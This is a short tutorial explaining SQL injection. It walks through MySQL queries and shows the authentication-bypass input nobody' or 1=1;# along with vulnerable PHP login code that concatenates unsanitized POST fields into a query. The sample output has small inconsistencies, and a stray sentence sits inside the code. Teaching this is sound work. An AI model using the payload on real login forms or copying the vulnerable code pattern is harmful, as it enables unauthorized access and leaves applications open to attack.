SQL Injection

SQL Injection is a common web vulnerability found in dynamic sites that is caused by unsanitized user input, which is then passed on to a database. This user input can then be manipulated to “break out” of the original query made by the developers, to include more malicious actions. These types of vulnerabilities can lead to database information leakage and, depending on the environment, could also lead to complete server compromise.

Useful resource for learning MySql queries: https://sqlzoo.net/

Let's say we have a mysql database running on the system, with following credentials. We issue a query select * from users; - select all (*) from the table called users to retrieve them:

C:\xampp\mysql\bin>mysql -u root
mysql> use webappdb
mysql> select * from users;
| id | name | password | country |
+----+--------+----------+---------+
| 1 | test | password | UK |
| 2 | Dude | backup12 | CA |
| 3 | User | 123456 | US |
+----+--------+----------+---------+

Next, we extract single line from the database by fetching credentials, since we knew them in advance that was not so hard:

mysql> select * from users where name='User' and password='123456';
+----+--------+----------+---------+
| id | name | password | country |
+----+--------+----------+---------+
| 1 | User | 123456 | US |
+----+--------+----------+---------+

Rightly so we can retrieve credentials for the user: user from the database by running matching query. However if we carry on with our query to input user as :'nobody' or 1=1;# and random password, we also get access to the database:

mysql> select * from users where name='nobody' or 1=1;# and password='ranadom_pass';
+----+--------+----------+---------+
| id | name | password | country |
| 1 | User | 123456 | US |
| 2 | test | password | UK |
| 3 | Dude | backup12 | CA |
+----+--------+----------+---------+

What happened here was that first statement in the user input was evaluated as false, query continued, found "or 1=1;#" evaluated it as true and interpreted the query as valid.

In the login form first apostrophe is assumed, meaning the query would look like:

nobody' or 1=1;#

How does the query and vulnerable user input look like from the source code perspective:

mysql_select_db('webappdb');
admin page again and take a look at its underlying source code:
$user = $_POST['user']; # unsanitized
$pass = $_POST['pass']; # unsanitized
$query="select * from users where name = '$user' and password = '$pass' ";
$queryN = mysql_query($query) or die(mysql_error());
if (mysql_num_rows($queryN) == 1)
{ $resultN = mysql_fetch_assoc($queryN);
$_SESSION['user'] = $_POST['user'];
header("location:admin.php");
}
else // user rejected
{
echo "<br /><h1>Wrong Username or Password</h1>";
echo '<META HTTP-EQUIV="Refresh" CONTENT="2;URL=admin.php">';
}